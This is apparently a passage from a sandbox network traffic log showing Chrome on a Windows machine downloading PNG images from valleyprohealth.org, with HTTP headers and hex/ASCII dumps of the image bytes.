2024-04-24 12:45:06 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 7b 90 5c e5 7d 27 ee d7 54 0a 10 c8 48 a0 20 03 8e 3c 63 41 80 c0 62 0d f8 82 17 16 a4 13 13 93 e0 b5 25 db 71 a8 d8 29 4b 54 ec b2 93 cd 46 72 8e b7 76 ed 9c 0a c2 d5 c9 fe b6 e2 5e a4 64 93 d8 e5 a4 24 bc b1 53 f8 c6 10 07 6f f0 65 7b 04 81 58 b1 8d 46 68 b1 91 83 c5 0c 8a b9 1a 2c d9 dc ff e1 57 ef 70 1a 0f 42 97 b9 bc a7 fb 74 f7 f3 54 75 09 84 38 fd 9e f7 9c e9 19 4d 7f e6 f3 7d d9 73 cf 3d 17 00 00 00 00 00 00 00 00 00 98 bd a3 ec 19 00 00 00 00 00 00 00 00 c0 dc 08 60 01 00 00 00 00 00 00 00 00 cc 91 00 16 00 00 00 00 00 00 00 00 c0 1c 09 60 01 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx{\}'TH <cAb%q)KTFrv^d$Soe{XFh,WpBtTu8M}s=``
2024-04-24 12:45:06 UTC	16384	IN	Data Raw: 8c 1a 4c 64 65 f9 b8 7a 5a 43 56 7c 8c f6 fb 37 a3 ca bd 4f f3 23 e4 00 15 88 61 8b 18 ea 49 31 76 ec d4 33 7e 61 aa f9 a5 0e 23 cc e6 2a 06 4d 52 06 b0 52 07 17 f6 ec da 93 f4 78 33 35 fe f5 6f 25 1d 73 d5 8b 0d 69 83 68 7a 18 2b 06 a2 e2 68 c0 d4 6d 68 87 32 d7 d1 79 55 8e cb 4b 21 c5 c8 d7 d9 88 af cb 21 6c 4f 70 8c f4 ea d4 7e 15 c7 4b a6 72 dc cb 8f eb c8 9a df b6 fe 5d c9 8f 19 bf 1e 18 bb ee eb 49 8e f5 aa 73 5f 1a c0 9a 2e 7e 1e 88 8f f6 6b 4a 0c 27 de f3 ed ef 85 7f fd d6 ee 9e 6f 8d 03 28 c5 16 ac ad 36 03 00 a0 3a 02 58 00 40 47 d5 20 7c 75 a0 e9 0d 59 d7 16 59 3e 59 06 94 da 0d 59 fb fa ec 0e 19 35 7a 10 a8 bb 18 ea 49 d1 a2 71 ee c5 af 09 43 e7 2e 9f d7 31 da e3 89 62 13 4c 7c 43 fc e8 05 c7 4c fd fe c9 43 4b c3 eb ae b8 a8 f2 f0 42 7c 33 38 Data Ascii: LdezZCV\|7O#aI1v3~a#*MRRx35o%sihz+hmh2yUK!!lOp~Kr]Is_.~kJ'o(6:X@G \|uYY>YY5zIqC.1bL\|CLCKB\|38
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 7e e9 bc 00 00 40 3c 39 9f a3 0d 00 f0 93 9a 00 d1 b6 18 0a 0e 05 2a 4f 8d a9 fd 1f f3 b2 73 e5 1f 55 35 81 ac 40 40 cb d4 f9 73 30 b2 6a fe 8e fc 53 e6 2e c9 8d 9d 02 a2 49 2e 42 f7 bb 76 80 b9 3c 27 33 a2 3b 93 e5 a2 be 3c 02 77 13 4b db 89 1d ef 6e 75 ed 02 f1 17 5b 3e 77 e5 79 fc 28 e7 ce 1b 62 ba a5 9d 84 9b 16 3e fc 8a 99 f6 a7 e9 9e aa a0 40 f8 0a 00 00 a0 71 52 19 aa cf d5 3b 7c df 72 af 3e 12 98 79 fb f9 15 21 fd 4c fb 6e 1d 55 b7 41 ce 47 e7 dd f7 a2 f3 9d ef 8a 1b 87 7a ba 6a 6c 53 2a 76 56 44 3c c6 f8 99 b7 d9 de 4c 6b e4 7b 8e 84 c7 16 e4 bd 6c 3e fd a0 cc b7 fb 01 44 11 2d 08 01 00 f0 20 2a 60 01 00 7c 23 c6 2a 5f 01 50 d6 6b 58 9a 13 cc b1 7d 37 b4 dc 71 2d 15 98 dc b8 48 ec f5 56 74 d1 24 0b 40 05 13 1f 8f e9 30 90 bc a6 27 e7 df e5 81 2d Data Ascii: ~@<9OsU5@@s0jS.I.Bv<'3;<wKnu[>wy(b>@qR;\|r>y!LnUAGzjlSvVD<Lk{l>D- `\|#_PkX}7q-HVt$@0'-
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: df 6e fb 35 81 00 c0 69 3f 00 08 52 97 7c ff fd f7 ec 3d 00 54 92 9e 90 f6 b0 88 fc 91 35 01 7c cb 1a 67 f7 ac fd e3 ec 2e 66 59 d6 22 d9 b2 d4 3d 27 f7 f4 14 67 52 ea 20 47 ef 79 a8 f4 a0 e4 bf b6 5a 3e 2f 2e b7 c6 21 9e 49 0b 9c 4d 22 af 91 1b 7a 76 36 5e e4 74 db 7e c0 ff 68 f0 aa db 3d bd a4 43 af ce 8c 18 04 00 00 00 aa 49 83 58 5b 96 ad 97 e2 0f 3e 61 e9 e0 2a da 89 7b c8 94 51 8e d7 8d ce a4 07 c7 e6 3f 36 fb 9c 87 d9 dc f2 8c 45 eb 77 c8 f2 ac 25 f2 bb 37 a6 d9 7e ed e7 53 66 56 eb 20 1f 10 2c 32 f2 32 2f 61 b3 01 20 f8 10 c0 02 80 4a d2 13 d2 f4 64 42 29 dd af 00 77 68 15 1b 69 b5 90 77 d2 ba 9c 77 65 f5 ec 15 ae fa 09 48 9e 3e c2 a7 a7 39 b5 9d fc c9 7f 9e b4 fe b9 79 db e6 8e 15 0e b5 88 99 39 e4 49 ab 1b 18 50 5d f5 c3 eb 4b ef 07 fa 4b 8b 76 Data Ascii: n5i?R\|=T5\|g.fY"='gR GyZ>/.!IM"zv6^t~h=CIX[>a*{Q?6Ew%7~SfV ,22/a JdB)whiwweH>9y9IP]KKv
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: b3 fe b5 8d b2 49 3a 86 b0 6d 7a 3b 7e 9c 10 0e 5f 8d ab 08 4a 7a 97 0c 8a 01 00 00 00 00 00 7c 2b 21 31 41 86 97 8e 91 ec 81 39 fc 10 f8 9c 86 77 08 5f 79 2f 7c 75 b4 9e 23 fa 4a d1 a3 c5 7c 07 ee 4f 37 f9 bd 00 00 9c 47 00 0b f0 06 02 58 80 05 5a 9c e3 fe c9 9e bf 9f b3 c2 f8 31 93 2f 62 47 9f df e9 ae ce bb 16 4e 96 16 ad 93 fc 5e 0a 00 00 00 00 00 00 69 76 5a 33 e9 55 94 2f 7d 83 37 50 0c 9f d2 f1 75 57 fc 3c 60 db cd 7f 5c bd 8d f0 95 45 da a4 b5 95 b1 b3 26 c8 65 f9 5d e3 e2 7e d0 64 b7 87 02 41 be f0 06 e0 28 02 58 80 37 10 c0 02 ea e9 83 a9 29 fa 20 e6 76 3a 8a 70 69 f9 42 a3 57 d9 be 73 07 7e 9c 7c 4c 77 73 16 95 17 87 bf 58 04 00 00 00 00 00 c0 df 75 bd 2e 5b 46 3e 3a 2e dc 39 1c fe a2 df c3 6a 20 4a bb 52 59 4d bf e3 9e 3f 71 36 e1 2b 8b e5 15 Data Ascii: I:mz;~_Jz\|+!1A9w_y/\|u#J\|O7GXZ1/bGN^ivZ3U/}7PuW<`\E&e]~dA(X7) v:piBWs~\|LwsXu.[F>:.9j JRYM?q6+
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: d5 47 96 79 32 78 25 f5 41 a2 58 27 a8 c4 62 55 e5 9b f2 da e3 af 38 76 fe 48 e9 fb 2d 0d 56 1d db f1 ea 44 74 ba 8c 57 c7 51 c6 a1 43 f5 0d 5c c2 bf 4a aa ca aa fd 5e 10 78 0b 01 2c 38 4e 13 ad 22 32 83 95 80 1b 69 6b 52 4d c7 5b 45 5b dd fe e9 ed 2d 31 07 9d 74 e7 81 76 ec 32 c9 d4 bd 7b ed 83 79 3c d1 f6 d8 ba 43 0b 00 00 00 00 00 00 00 10 bd cf f7 1d 94 ff e8 ff 1b 2a 08 5b e9 7b 9a 3e c5 fd 4e da c1 c9 6a 5e 7a c7 a3 f5 fa e9 b0 9e 72 79 9f 6e 11 fd 39 2b 9a 1c c0 18 02 59 f0 14 e6 11 c1 0d 18 43 08 d7 d2 0f 5b da c1 c9 aa 0f b7 da f5 2a d6 76 b1 eb 97 af 35 1e be 92 fa 7b 37 e1 b3 dd fb 8d 5f 1b 1a a7 6d b1 09 5f 01 00 00 00 00 00 00 40 ec 5a b4 4e 0a 4f 1b 98 77 e7 13 54 13 b6 48 cf ee 20 fd 26 dc 28 67 24 25 3a 56 70 2f 85 af b4 4b d8 d5 43 7b 47 Data Ascii: Gy2x%AX'bU8vH-VDtWQC\J^x,8N"2ikRM[E[-1tv2{y<C[{>Nj^zryn9+YC[v5{7_m_@ZNOwTH &(g$%:Vp/KC{G
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: b5 f1 6b 51 fc 87 46 1b 45 1e aa ec 4d fb ce 57 af 4f e5 50 2b fd ef dc 59 ef d9 97 fe bd 97 1c 4a da e6 8f b7 89 62 76 62 fb 61 99 db a9 b7 71 d1 0a b9 a5 e8 ab df 16 6a 1c eb 74 bf c7 38 06 de 54 8b 69 01 00 00 a6 ea df 35 a7 fd 85 1e 3d 6d 71 d4 13 1f 26 d3 b6 ce e1 f2 ce 27 60 07 9e 96 5b 9d 96 97 a7 e5 69 31 d9 99 71 34 f7 42 75 fd fe 5e 0b 6b da a2 af 8c cf cc 3a 7b ce 89 c3 87 c3 4c 5e 9e 6a 0c 98 16 84 fe 45 37 42 eb 86 e8 a9 0f 4d 74 7b 28 6c cd 8c d6 7f 37 54 af 68 ac eb 15 85 ae af ed 49 dd 2d b5 9a d4 36 35 5c 15 83 2a e6 fb 63 77 ad dd 21 ab e7 7c 2a ed fb de 5e e8 eb 6d fa f8 cb 42 7f 2e 6c a3 09 53 01 2b 91 80 65 43 24 5f c1 2d f4 61 27 6e e3 38 69 1c de 54 7a 44 dd 6d db bb d6 b1 85 45 76 91 f9 e3 3f 30 c6 0c 7b d2 be f3 b0 ce f1 1d 1b 25 Data Ascii: kQFEMWOP+YJbvbaqjt8Ti5=mq&'`[i1q4Bu^k:{L^jE7BMt{(l7ThI-65\cw!\|^mB.lS+eC$_-a'n8iTzDmEv?0{%
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 45 b7 20 e8 86 35 48 bf 52 16 0a b0 8c a7 98 88 a6 19 f5 e0 27 c4 04 8b 37 44 29 de f2 58 6a 0e 95 64 14 68 ae 07 ee fe 7f 7c 6a 97 fd 70 c2 56 fe ae 3c b1 70 25 37 f7 0b d6 42 2a 16 9f 57 25 d3 c1 8c ec 81 27 62 8d 3e 05 00 00 00 00 00 00 00 00 00 00 00 a0 61 1e fe a3 c9 b9 df bd 74 bd f1 3b 9c 46 07 e3 eb 77 9c 5c f5 44 d2 d3 16 0f 84 af ff 71 78 84 bd af 01 72 c0 07 5f 63 56 22 b9 cb 9e f8 9a b8 8b 9b 8b c3 da 33 82 ea 71 70 4f 0a 4e 93 b2 50 80 05 86 c1 55 c9 b7 bf 31 72 31 11 2f 17 ab 2f 50 ee ee 6c 2a 3f 54 a6 fa c2 1d 4e bf 72 c4 1b 25 17 a9 f1 c2 fd 82 39 b2 92 ab a6 d5 5a dd cd 45 75 60 3d 8e e4 bd 2f 48 7b 71 dd d0 35 93 db 88 0e ef 73 f3 da b5 8e bf 76 b5 e3 af d9 da cd ab 57 a9 f1 f4 69 79 2f 45 c9 9d 7f 26 f4 9a 3f b7 dd b6 83 96 32 8d 18 de Data Ascii: E 5HR'7D)Xjdh\|jpV<p%7BW%'b>at;Fw\Dqxr_cV"3qpONPU1r1//Pl?TNr%9ZEu`=/H{q5svWiy/E&?2
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 36 8e 06 e0 0e 3f 19 9e 15 6c e7 ac 1b 2f 96 ce 1d 3b c4 d4 ee e3 9f 7e 29 cf 94 ef 64 f6 6d 34 a0 f9 c7 a4 f1 2e 05 8b f8 bb 7d d4 20 b9 ff fd cd 8c b4 03 bc fd e1 2e 4a 10 7a 5c ff a1 59 be ee bf 9d 3e 5a 56 16 53 f0 d1 b8 eb 03 52 f6 c6 fa b8 26 9f 58 f8 d8 ab f2 1f cf fd 34 ea fb 4f b9 f3 2a 23 88 4b cf 37 9b e7 b8 27 7d 77 72 dc cf 35 7f 76 f4 d3 b8 3e 3e 5c 67 a2 88 94 16 05 0a df d2 43 ff e2 d2 92 5a 3f 4c a1 ef 02 b0 a4 29 08 6b 4e 51 a0 70 7a f3 a4 03 67 65 96 0c d4 8b 2e 54 bd 73 fa 4a ce c5 b9 a7 d4 09 b6 22 6d 65 6b 9a 91 4b 2f 1a 8c a5 29 2d 35 aa 3a ff b2 91 ae 09 c6 d2 0c 62 e1 d6 19 46 13 0e ba 01 00 00 00 c0 5d 2e 1c d4 5b e4 23 eb bf 13 c0 d9 55 1f 6e b0 7d 94 b2 d2 3a cb 93 33 a7 18 d7 a7 95 ef 31 b6 cf be db f4 23 3d 02 f3 00 91 eb fb Data Ascii: 6?l/;~)dm4.} .Jz\Y>ZVSR&X4O*#K7'}wr5v>>\gCZ?L)kNQpzge.TsJ"mekK/)-5:bF].[#Un}:31#=
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 9a e3 68 8e 0e c0 2a 0a 14 ea 91 e0 4c 07 34 05 36 0a 77 47 1a 8e 6f ff e8 5a d9 57 5d 9f f0 1d 66 87 f3 92 12 fa 7c 67 92 91 97 49 00 56 04 ba f5 0b 3f a2 1a 00 c2 61 7e 51 f9 b7 17 16 46 34 5e 7a 12 c1 2c b9 20 09 2c 3b 13 fa 85 e5 9b 87 2e 0b eb 04 4c 68 c9 40 2d f5 11 ed 17 ab 5a f6 23 5c e6 97 b9 b1 04 7c 45 4b 4f e8 f4 ba 24 37 78 ef 70 be 1c 8c b4 fc 07 e2 c7 2c 0d 16 af 00 89 50 fa 85 f9 b6 85 2d 27 d9 c2 39 01 e5 b5 72 28 70 8e cd 2f be 1a 71 5b 22 3d 99 6d 05 f3 bd a9 6b 90 44 10 08 b0 eb 8f ef 4b c1 9d 4d 25 75 12 1d 04 10 5a 72 30 11 fb 16 3d 41 b5 e7 bd 15 c6 f5 70 f7 19 5e 5e 87 36 fd 2e f2 92 8c a1 65 9d 13 f5 da 0e 3d 89 ba 7f d3 c6 b0 4e fa 87 1e 63 68 39 bf 44 b5 35 94 79 cc 15 49 e0 15 9c 4d 5f 4b 55 8b fe 10 6c 63 dd d2 b5 51 9d 8c 0f Data Ascii: h*L46wGoZW]f\|gIV?a~QF4^z, ,;.Lh@-Z#\\|EKO$7xp,P-'9r(p/q["=mkDKM%uZr0=Ap^^6.e=Nch9D5yIM_KUlcQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	50055	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	541	OUT	GET /wp-content/uploads/2020/07/fqhc_x2logo.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 24741 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:29 GMT ETag: "64f5a121-60a5" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	16059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 9a 08 06 00 00 00 80 18 55 67 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 40 00 49 44 41 54 78 01 ed bd 07 9c 1d c7 71 e7 5f 9b 73 c2 02 8b 05 16 39 07 12 20 18 c0 4c 31 07 05 4a 54 a2 2c 4b a6 7d b2 e5 28 a7 8f 2d fb ce f6 c9 3e cb 41 fe df d9 3a 5b 27 5b 96 65 2b 27 4a a2 a8 c8 9c 73 02 89 9c 73 da 05 b0 39 bd 8d ff ef af 7a e6 bd b7 48 44 d8 5d 2c b8 af 81 7d 33 d3 d3 d3 5d 5d 5d d5 55 5d 5d dd 9d 35 38 38 f8 b8 65 42 06 03 19 0c bc 55 31 f0 cf 59 59 59 f7 e5 52 bb eb df aa 35 cc d4 2b 83 81 0c 06 ec fb c2 41 76 06 11 19 0c 64 30 f0 d6 c7 40 86 d1 df fa 6d 9c a9 61 06 03 19 89 9e a1 81 0c 06 c6 03 06 32 12 7d 3c b4 72 a6 8e e3 1e 03 19 46 1f f7 24 90 41 c0 78 c0 40 86 d1 c7 Data Ascii: PNGIHDRUggAMAa@IDATxq_s9 L1JT,K}(->A:['[e+'Jss9zHD],}3]]]U]]588eBU1YYYR5+Avd0@ma2}<rF$Ax@
2024-04-24 12:45:06 UTC	8682	IN	Data Raw: 94 e1 44 a1 0e 7f 74 3f 77 60 17 f8 18 1f 3b 70 8d dd ba fb 40 b4 3f 9b 1a f3 fc a9 d7 58 c3 fe 5b 98 d1 e3 b1 b6 ae 59 38 9b 4c f4 05 22 47 4b 05 19 83 5a 8e ec 8a da 05 62 42 13 e0 8b b1 d6 4e 74 5a 1c 31 c5 b9 eb f1 26 14 12 6e 52 5a a4 bc 17 55 4d 89 ea 16 83 2d a6 38 3f 42 2e bb ba 56 71 7e 7d 19 e7 c5 b9 c0 56 9d 68 13 b5 41 7b 77 af 6d da 55 0f a3 6b 68 35 f6 da e4 fc c0 70 80 f2 ad cb e8 10 4c 92 dc 31 ee 14 73 2e 79 0e a7 a4 a4 ab c3 42 81 f6 4d 17 a3 f7 31 3d a5 f4 fa 1b 6b 24 25 98 c5 e8 5d 1c d8 38 c8 52 5b 0f f2 3b 10 ac d4 4d 47 2f c7 e7 ac 27 47 2c 21 d5 98 ff cd 47 6d 9f c2 09 b0 93 2b b4 17 80 1b 18 d4 28 fe d7 0d 83 ef 64 5f f7 7d 9c 6d 1e 82 6a 9c 09 67 82 81 b7 2e a3 27 b9 55 63 f4 6c 2b ad 9e ee a7 9e 4a 9d 97 bc d0 58 d6 dd 60 b9 ef Data Ascii: Dt?w`;p@?X[Y8L"GKZbBNtZ1&nRZUM-8?B.Vq~}VhA{wmUkh5pL1s.yBM1=k$%]8R[;MG/'G,!Gm+(d_}mjg.'Ucl+JX`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50054	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:06 UTC	783	OUT	GET /wp-content/uploads/2023/11/HQL-gold-2023.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:06 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:06 GMT Content-Type: image/png Content-Length: 950718 Connection: close Last-Modified: Thu, 16 Nov 2023 13:55:46 GMT ETag: "65561f62-e81be" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:06 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd ff b7 5c f5 7d df fb cf 1e bc ee af 9c b6 bf 5c bb 3f 20 db 37 fd 16 af a5 a3 36 6e 40 d4 3d 47 c1 e0 b6 76 2f 02 c2 f2 2d c1 e8 60 6c 70 9a ae 85 fc 17 58 fe 0b 90 7f b8 b7 5d ab 8e 91 92 94 c6 69 6a 44 48 d3 40 83 39 67 61 24 8c 70 10 b1 c0 5c 2b 89 8e 70 00 83 eb 06 fd 7a 57 34 fb ae 3d b3 f7 cc fe f2 f9 bc 3f df 67 e6 1c 3d 1f 5e 63 24 cd ec cf fe cc de 7b f6 9c 99 fd 3a ef 77 51 96 a5 02 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 1b b1 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0c 01 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 08 44 00 0b 00 00 00 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx\}\? 76n@=Gv/-`lpX]ijDH@9ga$p\+pzW4=?g=^c${:wQ ,D
2024-04-24 12:45:06 UTC	16384	IN	Data Raw: ab 16 1a 57 39 b6 57 6c 5a 54 fb 41 57 cd b1 ec da 7e 50 3f 6f 4d 90 ae f3 9e 1a 1f c0 6a 73 0f 63 f9 06 5f 4b e1 3e 0f 91 6f 44 b6 00 56 67 c6 fd 75 79 54 bf ea 1b b5 ce c3 fa c7 0a 81 5c db a6 9e 0d 57 be b6 71 df b9 75 f9 d1 d7 af e7 1e ff e4 da a4 cd 60 39 09 5e 09 6d 06 85 f3 ae ed 7e bf c3 f3 35 a5 68 47 08 00 00 00 ac 3a 02 58 00 00 00 00 a2 bc bf fb e5 aa 1d c7 f3 cd 18 62 00 4b b8 50 6e 0d 63 59 ab 5f 89 0b e7 69 c3 66 ab d8 a0 ac f7 5f 2d c7 65 15 88 3a f9 91 bf ff f8 6e d2 b9 f5 bc f3 e6 56 75 01 e9 84 2a a7 6d 22 6d 7c c3 39 a5 c7 b5 52 e9 ba e3 68 70 fd b2 ff e0 f0 ea 57 7d fd 0b fb b6 f6 83 92 7c 01 ac f9 c2 41 41 2c c7 4d 12 12 c6 72 09 32 65 fb c6 21 30 74 13 db 82 70 55 02 58 9d bb 42 da 0f ba aa ae e4 47 b4 1f bc c1 f0 62 77 99 92 6b 00 Data Ascii: W9WlZTAW~P?oMjsc_K>oDVguyT\Wqu`9^m~5hG:XbKPncY_if_-e:nVu*m"m\|9RhpW}\|AA,Mr2e!0tpUXBGbwk
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 92 87 c0 c0 67 00 d1 cd dc 9c 3d 7a 89 63 2e 73 97 4f e6 87 e9 29 47 dc 5e 9b fc e7 70 f2 f9 b5 38 47 e1 ad 8c 48 50 97 f0 56 85 78 fd 7a 38 66 5b 64 2d 7e f8 60 2b c6 52 d1 10 c6 a1 5c 8c e5 67 3f 4b 2b 36 0b a6 e1 2d bf 67 88 3a bf 3a 31 56 37 d1 8a 3c 03 5d 3b 2a 8d db 55 31 56 fb 0f 63 89 e8 02 22 9a cf 9a f9 10 25 13 5d e5 db 58 dd 59 e4 f3 16 bf 39 4b bb 43 1c 49 44 0b 6f bf fa a0 39 c7 ce bd 6f d1 16 5b c9 00 00 00 00 00 5b 28 f0 80 05 00 00 00 00 00 bc 19 5c 7e 5a 22 be fa 65 db 8e fe 93 67 25 8e be 5f 3a 47 69 3c 60 55 8e 2f 94 d7 67 41 5d fa d7 f6 6f 26 e1 07 eb 6d 97 8c 97 ff 69 10 7e b0 d6 b6 98 b6 b2 f8 69 e9 fd aa 9a 79 27 1f 5b 81 50 28 ef 57 1a db ed 43 5c 9b 82 c6 2b 84 32 7b c5 b5 32 3b 63 f7 30 5a 4a bc bd 5f b9 d1 ed f0 83 46 34 63 83 Data Ascii: g=zc.sO)G^p8GHPVxz8f[d-~`+R\g?K+6-g::1V7<];*U1Vc"%]XY9KCIDo9o[[(\~Z"eg%_:Gi<`U/gA]o&mi~iy'[P(WC\+2{2;c0ZJ_F4c
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 2a 19 e3 ac c2 0f 1a 1b 8e 0c cb a5 ba 3f d6 87 49 33 c3 23 e4 b1 87 00 ab 6c b9 aa 33 e9 4f 01 96 48 f9 ba e9 ef cd a6 63 b8 4c 0c ef 19 7e 5a 99 de 55 80 45 06 22 2c 7b 01 96 58 2e a5 56 49 39 7f d3 b5 01 0f 01 96 a6 7f a9 f6 fa dc 7b 5b fb dc e7 e9 f5 63 98 be 6d 85 12 5f 91 a7 00 8b 5b a3 de 35 31 96 af 00 4b a4 65 77 f0 98 8f df 3f ce ab 80 00 00 00 00 00 c0 09 08 b0 00 00 00 00 d0 73 06 07 e6 5d 90 84 f7 d3 95 43 1f 92 50 f5 b6 cd 4e 5d c5 20 c6 4a b8 4b 08 55 d8 57 de b1 d6 ac 98 3f 2b 13 8a 4d ad 3b 46 a5 ad f1 11 60 15 a3 29 30 cf 45 bd 16 ab 0c 50 7a 5d f2 58 ac 4a a9 49 df af de af 48 dd 48 7a e5 fd 8a b4 02 2c dd 22 87 4b b8 13 8e 73 d5 5d ff 5e 09 b0 dc bf aa d7 a1 5d b8 2e d7 ab 70 bc ef 97 f1 c5 05 d1 d2 b1 1e eb 60 05 3f 7a 0e 55 f3 a7 57 Data Ascii: *?I3#l3OHcL~ZUE",{X.VI9{[cm_[51Kew?s]CPN] JKUW?+M;F`)0EPz]XJIHHz,"Ks]^].p`?zUW
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: 03 97 ce ba 1b 3e db d0 07 9f ae 5a 6f da 2e 31 f1 58 69 66 43 c0 90 56 b6 f8 f7 11 7f bd d5 db 72 d0 6f e7 e8 53 6b 2f 37 61 3e a3 42 84 c8 d2 69 ea 66 bb 94 7b a1 e7 c9 81 12 02 38 34 3a 22 14 49 c8 c0 ae 4a 82 86 42 36 3a 3f 61 62 2c af fb 67 3e b1 23 e6 af ec fa 63 c0 17 63 45 ec 4b e2 69 44 49 3f 28 43 54 e8 cc cc d5 00 40 02 2c 82 20 08 82 38 4e 90 39 03 48 10 04 41 10 04 a1 31 60 53 10 1e 8f 78 75 8b 86 d8 10 53 68 6b 36 c8 ad 2d 18 88 45 c1 e2 39 2a 45 b7 24 88 6d bb 31 53 36 c8 af 2d 11 88 25 85 c2 4b 19 60 6c dd 2b 61 f2 db ed f9 e3 45 a0 22 9b 88 ca 98 18 cb bf b8 2b 8b e3 4d 7c 05 81 88 11 ff 7c ef 40 4c f6 55 5c 98 1e 93 fd 70 a1 ab 23 6c cc 5f 5b 78 30 4b 77 28 c2 f6 26 27 e7 c0 fc da 4b 19 d4 aa a6 07 43 f5 ad 91 3f 1d 96 1b dc 44 d8 88 09 Data Ascii: >Zo.1XifCVroSk/7a>Bif{84:"IJB6:?ab,g>#ccEKiDI?(CT@, 8N9HA1`SxuShk6-E9*E$m1S6-%K`l+aE"+M\|\|@LU\p#l_[x0Kw(&'KC?D
2024-04-24 12:45:07 UTC	16384	IN	Data Raw: a9 55 c1 79 17 dc c1 0e 10 15 48 7a 9b 02 58 95 96 4f d2 33 3b 4f 31 c8 7e a9 cf 29 21 31 16 72 59 48 1a d5 8a 97 18 cb 21 93 25 b8 47 10 04 41 10 84 64 28 05 21 41 10 04 41 10 22 30 f1 55 96 70 09 ea 47 25 62 3d 07 18 a3 f4 83 ce 91 31 bc a4 91 a8 21 86 94 88 bf f4 e9 3b ac 7d 76 16 fd 2a 3c ed 98 1d 8e 26 a6 b5 01 79 de 91 36 ce f5 f4 03 ba 3e 84 48 5f 4c 78 f5 3f ff ec 86 17 5f 7c 2e ee 93 22 5a 7a 90 a7 9f 7e 18 2e 38 af 07 86 a4 76 9b ae 1b 5d 0f f0 ae 13 bd 50 0a 5d 8c 15 f0 d3 d5 20 b9 65 14 34 af 2e cb 46 78 59 ec 6a 2b 86 47 1e fb 02 96 2d 5b e6 7c 9f 0e 61 93 c5 d7 d4 cd 84 99 a7 b2 ba d4 13 b5 f1 84 71 b8 91 a5 58 74 b6 eb af 5e 08 13 6b f4 75 45 3b 7f ee cf 5d e6 90 5e 55 d0 81 79 4d b4 04 84 4b 51 6f a0 db e5 1b 71 42 c4 e6 43 92 bb a1 bc 1c Data Ascii: UyHzXO3;O1~)!1rYH!%GAd(!AA"0UpG%b=1!;}v*<&y6>H_Lx?_\|."Zz~.8v]P] e4.FxYj+G-[\|aqXt^kuE;]^UyMKQoqBC
